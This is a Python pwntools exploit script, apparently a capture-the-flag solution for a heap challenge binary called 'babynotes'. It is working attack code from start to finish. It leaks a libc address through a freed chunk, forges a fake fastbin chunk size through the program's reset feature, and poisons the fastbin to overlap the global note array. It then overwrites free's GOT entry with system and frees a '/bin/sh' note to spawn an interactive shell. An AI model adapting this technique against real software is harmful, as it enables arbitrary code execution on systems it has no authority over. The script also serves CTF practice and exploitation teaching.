from pwn import *
#context.log_level = 'debug'

p = process('./babynotes')
e = ELF('./babynotes')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
free_got = e.got['free']

def register(name,motto,age):
    p.sendafter('Input your name:',name)
    p.sendafter('Input your motto:',motto)
    p.sendlineafter('Input your age:',str(age))

def add(index,size):
    p.sendlineafter('>>','1')
    p.sendlineafter('Input index:',str(index))
    p.sendlineafter('Input note size:',str(size))

def show(index):
    p.sendlineafter('>>','2')
    p.sendlineafter('Input index:',str(index))

def delete(index):
    p.sendlineafter('>>','3')
    p.sendlineafter('Input index:',str(index))

def edit(index,note):
    p.sendlineafter('>>','4')
    p.sendlineafter('Input index:',str(index))
    p.sendafter('Input your note:',note)

#gdb.attach(p,'b *0x400980')
#gdb.attach(p,'b *0x400F4A')
#x /16xg 0x6020C0

register('1'*0x10,'2'*0x20,0x1234)

add(0,0x80)#0
add(1,0x18)#1
delete(0)
add(0,0x80)#0
show(0)
p.recvuntil('Note 0: ')
main_arena = u64(p.recvn(6).ljust(8,b'\x00'))-88
offset = main_arena - 0x10 - libc.symbols['__malloc_hook']
system_addr = offset + libc.symbols['system']

add(2,0x18)#2
add(3,0x28)#3
add(4,0x18)#4 padding

delete(1)
#reset
p.sendlineafter('>>','5')
register('a'*0x18,'2'*0x20,0x51)
delete(2)
add(1,0x48)

edit(1,b'a'*0x10+p64(0)+p64(0x51))
delete(3)
edit(1,b'a'*0x10+p64(0)+p64(0x51)+p64(0x6020c0))

add(2,0x48)
add(3,0x48)

edit(3,p64(1)+p64(1)+p64(free_got))
edit(0,p64(system_addr))
edit(1,'/bin/sh\x00')
delete(1)
p.interactive()